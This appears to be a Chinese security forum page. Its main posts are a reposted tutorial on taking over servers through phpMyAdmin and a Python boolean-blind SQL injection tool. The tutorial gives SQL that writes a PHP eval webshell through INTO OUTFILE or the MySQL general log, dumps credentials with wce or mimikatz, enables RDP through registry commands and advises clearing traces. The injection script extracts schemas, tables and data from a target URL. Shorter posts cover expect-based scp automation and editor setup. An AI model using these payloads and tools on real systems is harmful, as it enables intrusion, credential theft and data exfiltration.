phpmyadmin getshell姿势(转)

PHPjizi_smile 发表了文章 • 2 个评论 • 74 次浏览 • 2019-01-13 21:19 • 来自相关话题

phpmyadmin getshell姿势
phpmyadmin常被用来管理mysql数据库。在ctf比赛和实战中都可能会遇到phpmyadmin弱口令或者空密码的情况,这个时候就需要从phpmyadmin来getshell了,这里总结一下getshell的姿势。0x00 前言
此次是在虚拟机中用wampserver搭了一个实验环境,然后在本机上执行操作。
[list=disc]
[*]靶机:Windows7 x64 IP 192.168.129.129[/*]
[*]攻击机: Windows10 x64[/*]
[*]PHP版本:5.6[/*]
[*]Mysql版本:5.7[/*]
[*]Apache版本:2.4

mysql密码为弱密码root,已爆破得到密码。[/*]
[/list]
0x01 常用方法
最常见的应该就是select into outfile写入shell了,需要知道网站的绝对路径,而且比较容易失败。
select @@basedir可以看到mysql所在的绝对路径,此外还有一些爆路径的方法会在下面总结到。

爆出网站绝对路径后你可以开始写入shell。[code]select load_file('C:/wamp64/www/ma.php')
select '<?php eval($_POST[cmd]); ?>' into outfile 'C:/wamp64/www/ma.php';[/code]
当你尝试执行select into outfile时会爆出如图的错误:

执行以下命令:
SHOW VARIABLES LIKE "secure_file_priv";

如果值为文件夹目录,则只允许修改目录下的文件,如果值为NULL则为禁止。
并且这个值是只读变量,只能通过配置文件修改。0x02 利用日志写shell
mysql5.0版本以上会创建日志文件,可以通过修改日志的全局变量getshell。检测全局变量(general_log、general_log file)
general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。general log file 指的是日志的保存路径。[code]SHOW VARIABLES LIKE 'general%'[/code]
由图可知general_log默认关闭,以及日志的存储路径 。
开启general_log 的作用:开启它可以记录用户输入的每条命令,会把其保存在c:\wamp64\bin\mysql\mysql5.7.14\data\的一个.log文件中,其实就是我们常说的日志文件
利用思路:开启general_log之后把general_log_file的值修改为该网站默认路径下的某一个自定义的php文件中,然后通过log日志进行写入一句话木马,然后再进一步利用。[code]set global general_log = "ON";
set global general_log_file='C:/wamp64/www/ma.php';[/code]

执行后可以看到生成的伪日志文件ma.php
此时在利用日志的记录插入一句话
select '<?php eval($_POST[cmd]);?>';
打开日志可以看到记录

然后尝试用菜刀连接即可getshell
0x03 获取管理员密码
既然都做到这里了就顺便简单复习一下Windows,继续做下去。
在服务器上如果是管理员启动的mysql服务那么getshell直接就是管理员权限,如果是其他用户则需要提权。
wce,pwdump,mimikatz等工具都能抓取密码,我这里选择上传wce进行密码抓取。wce抓取
尝试直接抓明文,没有结果,那只能抓hash值了。


拿到hash值后就可以用hashcat或者直接跑彩虹表来获取密码。在线也有ophcrack可以破解。
3389连接
查看一下端口,发现3389没开

开启3389
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f


然后连接,输入刚刚抓到的账号密码即可。
小结
其实这样一套操作下来动静是很大的,要注意清除痕迹,另外在Windows7这类非服务器的系统上远程登录的话会挤掉当前用户,用户掉线马上就知道出事了,当然也可以使用工具让其支持多用户登录,具体就不详细说明了。0x04 php爆绝对路径方法
插入一句话木马时是需要知道网站绝对路径的,这里总结一下爆路径的方法。单引号爆路径
直接在URL后面加单引号,要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
www.xxx.com/news.php?id=1′错误参数值爆路径
将要提交的参数值改成错误值,比如-1。-99999单引号被过滤时不妨试试。
www.xxx.com/researcharchive.php?id=-1Google爆路径
结合关键字和site语法搜索出错页面的网页快照,常见关键字有warning和fatal error。注意,如果目标站点是二级域名,site接的是其对应的顶级域名,这样得到的信息要多得多。[code]Site:xxx.edu.tw warning
Site:xxx.com.tw “fatal error”[/code]测试文件爆路径
很多网站的根目录下都存在测试文件,脚本代码通常都是phpinfo()。[code]www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php[/code]phpmyadmin爆路径
一旦找到phpmyadmin的管理页面,再访问该目录下的某些特定文件,就很有可能爆出物理路径。至于phpmyadmin的地址可以用wwwscan这类的工具去扫,也可以选择google。[code]/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/index.php?lang[]=1
/phpMyAdmin/phpinfo.php
load_file()
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/lect_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php[/code]配置文件找路径
如果注入点有文件读取权限,就可以手工load_file或工具读取配置文件,再从中寻找路径信息(一般在文件末尾)。各平台下Web服务器和PHP的配置文件默认路径可以上网查,这里列举常见的几个。[code]Windows:
c:\windows\php.ini php配置文件
c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件


Linux:
/etc/php.ini php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件[/code]nginx文件类型错误解析爆路径
说明:
要求Web服务器是nginx,且存在文件类型解析漏洞。有时在图片地址后加/x.php,该图片不但会被当作php文件执行,有可能爆出物理路径
www.xxx.com/xx.jpg/x.php0x05 思考
此次是在Windows系统下的实验,如果是Linux是否同样可以利用日志写shell?
于是找了个linux服务器测试

可以发现,我们没有权限在网站目录下创建日志文件。因为此台服务器上MYSQL并没有被赋予在站点根目录下创建文件的权限。所以也无法写shell并解析。
因此,只要做好权限把控,就可以避免此类安全问题 查看全部
phpmyadmin getshell姿势
phpmyadmin常被用来管理mysql数据库。在ctf比赛和实战中都可能会遇到phpmyadmin弱口令或者空密码的情况,这个时候就需要从phpmyadmin来getshell了,这里总结一下getshell的姿势。0x00 前言
此次是在虚拟机中用wampserver搭了一个实验环境,然后在本机上执行操作。
[list=disc]
[*]靶机:Windows7 x64 IP 192.168.129.129[/*]
[*]攻击机: Windows10 x64[/*]
[*]PHP版本:5.6[/*]
[*]Mysql版本:5.7[/*]
[*]Apache版本:2.4

mysql密码为弱密码root,已爆破得到密码。[/*]
[/list]
0x01 常用方法
最常见的应该就是
select into outfile
写入shell了,需要知道网站的绝对路径,而且比较容易失败。
select @@basedir
可以看到mysql所在的绝对路径,此外还有一些爆路径的方法会在下面总结到。

爆出网站绝对路径后你可以开始写入shell。
[code]select load_file('C:/wamp64/www/ma.php')
select '<?php eval($_POST[cmd]); ?>' into outfile 'C:/wamp64/www/ma.php';
[/code]
当你尝试执行
select into outfile
时会爆出如图的错误:

执行以下命令:
SHOW VARIABLES LIKE "secure_file_priv";


如果值为文件夹目录,则只允许修改目录下的文件,如果值为
NULL
则为禁止。
并且这个值是只读变量,只能通过配置文件修改。0x02 利用日志写shell
mysql5.0版本以上会创建日志文件,可以通过修改日志的全局变量getshell。检测全局变量(general_log、general_log file)
  1. general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
  2. general log file 指的是日志的保存路径。
    [code]SHOW VARIABLES LIKE 'general%'
    [/code]

由图可知
general_log
默认关闭,以及日志的存储路径 。
开启general_log 的作用:开启它可以记录用户输入的每条命令,会把其保存在
c:\wamp64\bin\mysql\mysql5.7.14\data\
的一个.log文件中,其实就是我们常说的日志文件
利用思路:开启
general_log
之后把
general_log_file
的值修改为该网站默认路径下的某一个自定义的php文件中,然后通过log日志进行写入一句话木马,然后再进一步利用。
[code]set global general_log = "ON";
set global general_log_file='C:/wamp64/www/ma.php';
[/code]

执行后可以看到生成的伪日志文件ma.php
此时在利用日志的记录插入一句话
select '<?php eval($_POST[cmd]);?>';

打开日志可以看到记录

然后尝试用菜刀连接即可getshell
0x03 获取管理员密码
既然都做到这里了就顺便简单复习一下Windows,继续做下去。
在服务器上如果是管理员启动的mysql服务那么getshell直接就是管理员权限,如果是其他用户则需要提权。
wce,pwdump,mimikatz等工具都能抓取密码,我这里选择上传wce进行密码抓取。wce抓取
尝试直接抓明文,没有结果,那只能抓hash值了。


拿到hash值后就可以用hashcat或者直接跑彩虹表来获取密码。在线也有ophcrack可以破解。
3389连接
查看一下端口,发现3389没开

开启3389
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f


然后连接,输入刚刚抓到的账号密码即可。
小结
其实这样一套操作下来动静是很大的,要注意清除痕迹,另外在Windows7这类非服务器的系统上远程登录的话会挤掉当前用户,用户掉线马上就知道出事了,当然也可以使用工具让其支持多用户登录,具体就不详细说明了。0x04 php爆绝对路径方法
插入一句话木马时是需要知道网站绝对路径的,这里总结一下爆路径的方法。单引号爆路径
直接在URL后面加单引号,要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
www.xxx.com/news.php?id=1′
错误参数值爆路径
将要提交的参数值改成错误值,比如-1。-99999单引号被过滤时不妨试试。
www.xxx.com/researcharchive.php?id=-1
Google爆路径
结合关键字和site语法搜索出错页面的网页快照,常见关键字有warning和fatal error。注意,如果目标站点是二级域名,site接的是其对应的顶级域名,这样得到的信息要多得多。
[code]Site:xxx.edu.tw warning
Site:xxx.com.tw “fatal error”
[/code]测试文件爆路径
很多网站的根目录下都存在测试文件,脚本代码通常都是phpinfo()。
[code]www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php
[/code]phpmyadmin爆路径
一旦找到phpmyadmin的管理页面,再访问该目录下的某些特定文件,就很有可能爆出物理路径。至于phpmyadmin的地址可以用wwwscan这类的工具去扫,也可以选择google。
[code]/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/index.php?lang[]=1
/phpMyAdmin/phpinfo.php
load_file()
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/lect_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php
[/code]配置文件找路径
如果注入点有文件读取权限,就可以手工load_file或工具读取配置文件,再从中寻找路径信息(一般在文件末尾)。各平台下Web服务器和PHP的配置文件默认路径可以上网查,这里列举常见的几个。
[code]Windows:
c:\windows\php.ini php配置文件
c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件


Linux:
/etc/php.ini php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件
[/code]nginx文件类型错误解析爆路径
说明:
要求Web服务器是nginx,且存在文件类型解析漏洞。有时在图片地址后加/x.php,该图片不但会被当作php文件执行,有可能爆出物理路径
www.xxx.com/xx.jpg/x.php
0x05 思考
此次是在Windows系统下的实验,如果是Linux是否同样可以利用日志写shell?
于是找了个linux服务器测试

可以发现,我们没有权限在网站目录下创建日志文件。因为此台服务器上MYSQL并没有被赋予在站点根目录下创建文件的权限。所以也无法写shell并解析。
因此,只要做好权限把控,就可以避免此类安全问题

什么是CRLF

回复

PHPttgo2 发起了问题 • 1 人关注 • 0 个回复 • 220 次浏览 • 2018-10-21 09:31 • 来自相关话题

Shell 脚本实现scp 自动化交互

SHELL脚本ttgo2 发表了文章 • 0 个评论 • 200 次浏览 • 2018-08-06 18:30 • 来自相关话题

Linux  shell 命令scp 可以实现远程拷贝文件,但是需要人工进行交互,无法使用shell 脚本进行自动化的方式来实现,如果能自动化实现呢? 今天我们来解决这个问题。
 
1、 expect是一个自动交互功能的工具。expect是开了一个子进程,通过spawn来执行shell脚本,监测到脚本的返回结果,通过expect判断要进行的交互输入内容(send),以chat的方式解决了交互的问题。
 





2、默认情况下centos 没有安装,可以通过yum 来进行安装,具体命令为:yum install expect  截图如下:






3、 验证一下是否安装expect成功,截图如下






4、举例来说明expect的格式命令和具体的方法
 
step1: 创建一个后缀名为.exp的文件,scp.exp ,具体代码如下
 #!/usr/bin/expect -f
set timeout 10

set host [lindex $argv 0]
set username [lindex $argv 1]
set password [lindex $argv 2]
set src_file [lindex $argv 3]
set dest_file [lindex $argv 4]

#这里的 set 使用来定义位置变量的,执行脚本的时候传入位置变量spawn scp -r $src_file $username@$host:/tmp/$dest_file
expect {
"(yes/no)?" {
send "yes\n"
expect "*assword:" { send "$password\n" }
}
"*assword:" {
send "$password\n"
}
}


expect "100%"
expect eof:


5 执行过程,
 
step1: 脚本的赋值执行权限,chmod +x scp.exp
 
step2: ./scp.exp 192.168.3.129 root 123456 1.txt 1.txt
 





 
  查看全部
Linux  shell 命令scp 可以实现远程拷贝文件,但是需要人工进行交互,无法使用shell 脚本进行自动化的方式来实现,如果能自动化实现呢? 今天我们来解决这个问题。
 
1、 expect是一个自动交互功能的工具。expect是开了一个子进程,通过spawn来执行shell脚本,监测到脚本的返回结果,通过expect判断要进行的交互输入内容(send),以chat的方式解决了交互的问题。
 
C1CC1CF7-B617-45dd-BDB2-A55EEB216A35.png


2、默认情况下centos 没有安装,可以通过yum 来进行安装,具体命令为:yum install expect  截图如下:

QQ截图20180808163745.png


3、 验证一下是否安装expect成功,截图如下

QQ截图20180808164710.png


4、举例来说明expect的格式命令和具体的方法
 
step1: 创建一个后缀名为.exp的文件,scp.exp ,具体代码如下
 
#!/usr/bin/expect -f
set timeout 10

set host [lindex $argv 0]
set username [lindex $argv 1]
set password [lindex $argv 2]
set src_file [lindex $argv 3]
set dest_file [lindex $argv 4]

#这里的 set 使用来定义位置变量的,执行脚本的时候传入位置变量
spawn scp -r $src_file $username@$host:/tmp/$dest_file
expect {
"(yes/no)?" {
send "yes\n"
expect "*assword:" { send "$password\n" }
}
"*assword:" {
send "$password\n"
}
}


expect "100%"
expect eof:


5 执行过程,
 
step1: 脚本的赋值执行权限,chmod +x scp.exp
 
step2: ./scp.exp 192.168.3.129 root 123456 1.txt 1.txt
 

QQ截图20180808170100.png

 
 

Mac下Vim配置语法高亮

kakaxi 发表了文章 • 0 个评论 • 129 次浏览 • 2018-08-03 17:08 • 来自相关话题

设置终端的字体颜色
  如图,打开终端然后,选择偏好设置,再选择描述文件,再窗口左侧可以选择系统配置好的,或者你也可以自定义,最后别忘了把你的配置设置成默认就行
Vim语法高亮设置






  只需要找到vimrc配置文件就行,在终端输入下面的指令,就可以打开配置文件cp /usr/share/vim/vimrc ~/.vimrc
~/.vimrc  网上有好多人找不到vim的配置文件,你可以用command+shift+G前往文件夹,或者是最简单最笨的方法是你直接回去到根目录,然后再一层一层的cd,然后再一个个找;系统根目录指令,查看文件指令cd /
ls







  红色框中就是我添加的配置,语法高亮、行号、自动缩进,如果你需要更多的配置,直接百度就行,这个网上就很多了,最后看下效果






  查看全部
设置终端的字体颜色
  如图,打开终端然后,选择偏好设置,再选择描述文件,再窗口左侧可以选择系统配置好的,或者你也可以自定义,最后别忘了把你的配置设置成默认就行
Vim语法高亮设置

index.png


  只需要找到vimrc配置文件就行,在终端输入下面的指令,就可以打开配置文件
cp /usr/share/vim/vimrc ~/.vimrc
~/.vimrc
  网上有好多人找不到vim的配置文件,你可以用command+shift+G前往文件夹,或者是最简单最笨的方法是你直接回去到根目录,然后再一层一层的cd,然后再一个个找;系统根目录指令,查看文件指令
cd /
ls


2.png


  红色框中就是我添加的配置,语法高亮、行号、自动缩进,如果你需要更多的配置,直接百度就行,这个网上就很多了,最后看下效果

3.png


 

Sublime Text3 解决INPUT 交互的问题

ttgo2 发表了文章 • 0 个评论 • 219 次浏览 • 2018-07-23 18:26 • 来自相关话题

在使用Sublime text3 时候,如果使用INPUT函数进行交互,则会出现无法进行,因此必须通过sublime text3 的插件进行解决这个问题,解决问题步骤如下;
 
Step1、Ctrl + shift + P ,在弹出的输入框中输入install package control;


step2、Ctrl + shift +p, 输入/选择 Package Control: Install Package,然后在新的输入框中输入SublimeREPL,回车, 安装成功后会出现说明文件

3、依次点击Preferences—Key Buildings,输入以下内容,然后保存,设置按键F5(可以随意修改)为运行程序快捷键
 
[
    { "keys": ["f5"], "caption": "SublimeREPL:Python", 
                      "command": "run_existing_window_command", "args":
                      {
                           "id": "repl_python_run",
                           "file": "config/Python/Main.sublime-menu"
                      } 
    },
]
 





  查看全部
在使用Sublime text3 时候,如果使用INPUT函数进行交互,则会出现无法进行,因此必须通过sublime text3 的插件进行解决这个问题,解决问题步骤如下;
 
Step1、Ctrl + shift + P ,在弹出的输入框中输入install package control;


step2、Ctrl + shift +p, 输入/选择 Package Control: Install Package,然后在新的输入框中输入SublimeREPL,回车, 安装成功后会出现说明文件

3、依次点击Preferences—Key Buildings,输入以下内容,然后保存,设置按键F5(可以随意修改)为运行程序快捷键
 
[
    { "keys": ["f5"], "caption": "SublimeREPL:Python", 
                      "command": "run_existing_window_command", "args":
                      {
                           "id": "repl_python_run",
                           "file": "config/Python/Main.sublime-menu"
                      } 
    },
]
 

QQ截图20180723182626.png

 

python布尔盲注脚本算法完善

lawliet 发表了文章 • 3 个评论 • 189 次浏览 • 2018-06-06 21:49 • 来自相关话题

完善一下之前写的python盲注工具,之前那个盲注工具在猜取字符的时候使用的二分法,通过查找0-126这个范围去采取数据库中的数据。但是当时遗留了一个问题,就是在逐个猜解数据库字符时使用二分法并没有什么问题,这时因为字符都在0-126这个固定范围内,但是在猜取数据库个数、指定数据库的表个数、字段个数或者表中记录条数时,又或者是数据库名的长度、表名长度、字段名的长度时是没有一个固定的范围的,举个例子,比如在猜取表中记录个数时,记录的个数是不能确定范围的,也就是不能确定二分法的最大值,当时采用了循环自加的方式去判断,速度自然是慢了许多。今天抽时间读了一下sqlmap的payload,通过payload发现sqlmap也考虑到了这种情况,并且处理方法还是不错的。对于这种情况还是可以通过二分法判断的,将自己的方法记录一下~
分析sqlmap判断时的payload

首先看一下sqlmap在判断数据库个数时的payload[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>51 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>54 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>52 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>53 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),2,1))>51 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),2,1))>48 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),2,1))>9 AND 'rTJT'='rTJT
[12:09:16] [INFO] retrieved: 5通过分析payload可以看出sqlmap将count查到的数据库个数使用cast转换为了字符型,然后指定二分法的范围为字符'0'-'9',其ascii码转换为十进制也就是48-57,这个区域中间值为52,而看上面sqlmap在判断数据库个数时的第一个payload比较的值是51,所以可以确定sqlmap指定的二分法的大致范围确实是48-57(‘0’-‘9’)

通过对sqlmap的payload的分析,我想到了一种解决之前那个问题的办法,由于查询个数、长度、记录数的结果一定为数字,那么不管这个数字有多大,只要转换为字符串后,它的每一位一定是在'0'-'9'这个范围内,也就是十进制的48-57,所以只需要把数字转换成字符串,然后去使用二分法,指定二分法的范围为48-57,之后通过二分法可以判断出数字字符串每一位的字符,直到不能判断为止,最终就能得到这个数字
自增查找和二分查找算法对比

和之前的自增查找做一个对比,首先以猜解数据库个数为例,我的数据库个数为5个

在不确定二分法范围时采用的自增算法代码import requests
url="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1"
basehtml=requests.get(url=url).content
i=0
while 1:
payload="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1' and (select count(schema_name) from information_schema.schemata)=%d-- "%(i)
html=requests.get(url=payload).content
print payload
if basehtml==html:
print i
break
else:
i=i+1




自增算法发送了5次payload判断出了数据库个数为5
再看一下刚刚说的二分查找算法代码import requests
url="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1"
basehtml=requests.get(url=url).content
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),%d,1))>%d-- "%(i,mid)
print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
print s




在这里二分算法发送了6次payload才判断出来了数据库的个数为5,可以看出当数字比较小的时候,上面的二分法的优势并没有体现出来那么再举一个例子,比如用盲注判断information_schema这个数据库名的长度,长度为18,相比之前的5大了一些,为2位数,再次对比一下两个算法

在不确定二分法范围时采用的自增算法代码import requests
url="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1"
basehtml=requests.get(url=url).content
i=0
while 1:
payload="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1' and (select length(schema_name) from information_schema.schemata limit 0,1)=%d-- "%(i)
html=requests.get(url=payload).content
print payload
if basehtml==html:
print i
break
else:
i=i+1




发送了18次payload才判断出information_schema数据库名的长度为18再看一下刚刚说的二分查找算法代码import requests
url="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1"
basehtml=requests.get(url=url).content
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1' AND ORD(MID((SELECT IFNULL(CAST(length(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA limit 0,1),%d,1))>%d-- "%(i,mid)
print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
print s




可以看到随着数字的增加,二分法的优势体现出来了,只发送了9次payload就判断出了information_schema数据库名的长度为18盲注脚本加强版

修改过后的盲注脚本,注入速度相比之前的那个明显有所提高#coding=utf-8
import requests
import sys
from optparse import OptionParser
def getdbnum(url,basehtml):
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),%d,1))>%d-- "%(url,i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
return int(s)
def getdbs(url,basehtml,num):
#print "num:%s"%(num)
for n in range(num):
i=1
length=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(length(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA limit %d,1),%d,1))>%d-- "%(url,n,i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
length=length+chr((low+high+1)/2)
i=i+1
else:
break
s=""
#print "len:%s"%(length)
for c in range(1,int(length)+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select schema_name from information_schema.schemata limit %s,1),%s,1))>%s-- "%(url,str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
def gettablenum(url,basehtml,dbname):
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x%s),%d,1))>%d-- "%(url,dbname.encode("hex"),i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
return int(s)
def gettables(url,basehtml,num,dbname):
print "num:%s"%(num)
for n in range(num):
i=1
length=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(length(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x%s limit %d,1),%d,1))>%d-- "%(url,dbname.encode("hex"),n,i,mid)
print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
length=length+chr((low+high+1)/2)
i=i+1
else:
break
s=""
for c in range(1,int(length)+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select table_name from information_schema.tables where table_schema=0x%s limit %s,1),%s,1))>%s-- "%(url,dbname.encode("hex"),str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
def getcolumnnum(url,basehtml,tablename,dbname):
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(COUNT(column_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x%s AND TABLE_SCHEMA=0x%s),%d,1))>%d-- "%(url,tablename.encode("hex"),dbname.encode("hex"),i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
return int(s)
def getcolumns(url,basehtml,num,tablename,dbname):
#print "num:%s"%(num)
for n in range(num):
i=1
length=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(length(column_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x%s AND TABLE_SCHEMA=0x%s limit %d,1),%d,1))>%d-- "%(url,tablename.encode("hex"),dbname.encode("hex"),n,i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
length=length+chr((low+high+1)/2)
i=i+1
else:
break
s=""
for c in range(1,int(length)+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select column_name from information_schema.columns where table_name=0x%s and table_schema=0x%s limit %s,1),%s,1))>%s-- "%(url,tablename.encode("hex"),dbname.encode("hex"),str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
def getdatanum(url,basehtml,tablename,dbname):
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM %s.%s),%d,1))>%d-- "%(url,dbname,tablename,i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
return int(s)
def dumpdatas(url,basehtml,num,columnname,tablename,dbname):
#print "num:%s"%(num)
for n in range(num):
i=1
length=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(length(%s) AS CHAR),0x20) FROM %s.%s limit %d,1),%d,1))>%d-- "%(url,columnname,dbname,tablename,n,i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
length=length+chr((low+high+1)/2)
i=i+1
else:
break
s=""
for c in range(1,int(length)+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select %s from %s.%s limit %s,1),%s,1))>%s-- "%(url,columnname,dbname,tablename,str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
def testurl(url,basehtml):
url1="%s'"%(url)
url2='%s"'%(url)
html1=requests.get(url1).content
html2=requests.get(url2).content
if basehtml!=html1 and basehtml!=html2:
#print "this url maybe injectable,type numeric"
return url
elif basehtml!=html1 and basehtml==html2:
#print "this url maybe injectable,type string(\")"
return url1
elif basehtml==html1 and basehtml!=html2:
#print "this url maybe injectable,type string(\")"
return url2
else:
return False
def main():
parser=OptionParser()
parser.add_option("-u",type="string",dest="url",help="-u url")
